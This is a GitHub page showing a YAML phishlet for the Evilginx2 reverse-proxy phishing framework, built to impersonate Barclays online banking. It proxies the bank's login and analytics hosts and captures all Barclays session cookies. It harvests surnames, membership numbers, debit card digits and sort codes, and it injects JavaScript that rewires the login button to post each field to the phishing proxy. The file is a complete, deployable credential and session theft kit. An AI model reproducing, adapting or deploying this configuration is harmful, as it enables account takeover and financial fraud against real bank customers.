forked from An0nUD4Y/Evilginx2-Phishlets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
barclays.yaml
149 lines (133 loc) · 7.21 KB
/
barclays.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
author: '@AN0n'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'bank', orig_sub: 'bank', domain: 'barclays.co.uk', session: true, is_landing: true}
- {phish_sub: 'smetrics', orig_sub: 'smetrics', domain: 'barclays.co.uk', session: true, is_landing: false}
- {phish_sub: 'stats', orig_sub: 'wup-6bb5a42d.eu.v2', domain: 'we-stats.com', session: true, is_landing: false}
- {phish_sub: 'logs', orig_sub: 'logs-6bb5a42d.eu.v2', domain: 'we-stats.com', session: true, is_landing: false}
sub_filters:
- {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
- {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
- {triggers_on: 'bank.barclays.co.uk', orig_sub: 'bank', domain: 'barclays.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
- {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
- {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
- {triggers_on: 'smetrics.barclays.co.uk', orig_sub: 'smetrics', domain: 'barclays.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']}
auth_tokens:
- domain: '.barclays.co.uk'
keys: ['.*,regexp']
credentials:
username:
key: 'surname'
search: '(.*)'
type: 'post'
password:
key: 'membershipNumber'
search: '(.*)'
type: 'post'
custom:
- key: 'membershipNumber'
search: '(.*)'
type: 'post'
- key: 'surname'
search: '(.*)'
type: 'post'
- key: 'debitCard1'
search: '(.*)'
type: 'post'
- key: 'debitCard2'
search: '(.*)'
type: 'post'
- key: 'debitCard3'
search: '(.*)'
type: 'post'
- key: 'debitCard4'
search: '(.*)'
type: 'post'
- key: 'sortcode0'
search: '(.*)'
type: 'post'
- key: 'sortcode1'
search: '(.*)'
type: 'post'
- key: 'sortcode2'
search: '(.*)'
type: 'post'
- key: 'sortcode3'
search: '(.*)'
type: 'post'
force_post:
- path: '/olb/authlogin/'
search:
- {key: 'surname', search: '.*'}
force:
- {key: 'rememberToken', value: 'true'}
type: 'post'
login:
domain: 'bank.barclays.co.uk'
path: '/olb/authlogin/loginAppContainer.do#/identification'
js_inject:
- trigger_domains: ["bank.barclays.co.uk"]
trigger_paths: ["/olb/authlogin/loginAppContainer.do"] #The target path is important as the javascript will be injected in all address pages started with /login
trigger_params: []
script: |
function onclickListener(){
document.getElementById("checkbox1").checked = true;
var submit = document.getElementsByClassName("btn")[0]
document.body.innerHTML = document.body.innerHTML.replace(/<button class="btn"/g , '<button class="btn" onclick="sendData()"');
return;
}
function sendData(){
document.getElementById("checkbox1").checked = true;
var surname = document.getElementsByName("surname")[1].value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("surname="+encodeURIComponent(surname));
var membershipNumber = document.getElementsByName("membershipNum")[0].value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("membershipNumber="+encodeURIComponent(membershipNumber));
var cardnumber0 = document.getElementById("cardNumber0").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("debitCard1="+encodeURIComponent(cardnumber0));
var cardnumber1 = document.getElementById("cardNumber1").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("debitCard2="+encodeURIComponent(cardnumber1));
var cardnumber2 = document.getElementById("cardNumber2").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("debitCard3="+encodeURIComponent(cardnumber2));
var cardnumber3 = document.getElementById("cardNumber3").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("debitCard4="+encodeURIComponent(cardnumber3));
var sortcode0 = document.getElementById("sortCode0").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("sortcode0="+encodeURIComponent(sortcode0));
var sortcode1 = document.getElementById("sortCode1").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("sortcode1="+encodeURIComponent(sortcode1));
var sortcode2 = document.getElementById("sortCode2").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("sortcode2="+encodeURIComponent(sortcode2));
var sortcode3 = document.getElementById("sortCode3").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", '/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("sortcode3="+encodeURIComponent(sortcode3));
return;
}
setTimeout(function(){ onclickListener(); }, 2500);